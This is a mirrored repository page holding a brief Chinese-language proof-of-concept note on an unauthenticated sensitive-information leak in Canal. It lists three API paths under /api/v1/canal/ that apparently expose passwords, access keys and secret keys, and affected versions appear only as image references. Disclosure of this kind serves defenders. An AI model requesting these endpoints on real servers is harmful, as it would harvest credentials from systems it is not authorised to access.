admin/POC
1
0
Fork 0
mirror of https://github.com/eeeeeeeeee-code/POC.git synced 2025-11-05 02:15:30 +00:00
Code Issues Packages Projects Releases Wiki Activity
POC/wpoc/Canal/Canal存在敏感信息泄露漏洞.md
eeeeeeeeee-code 06c8413e64 first commit
2025-03-04 23:12:57 +08:00

754 B
Raw Blame History

Canal存在敏感信息泄露漏洞

一、漏洞描述

由于/api/v1/canal/config 未进行权限验证可直接访问，导致账户密码、accessKey、secretKey等一系列敏感信息泄露

二、影响版本

1724655325946-ad9a7d05-7071-45fd-af16-6bbea6200466.png

三、漏洞复现

/api/v1/canal/config/1/0

/api/v1/canal/config/0/9

/api/v1/canal/instance/1

1724655404641-4703126f-5cc5-4a11-b276-958eac455a81.png

更新: 2024-09-05 23:24:41
原文: https://www.yuque.com/xiaokp7/ocvun2/ulgmpe74leezg156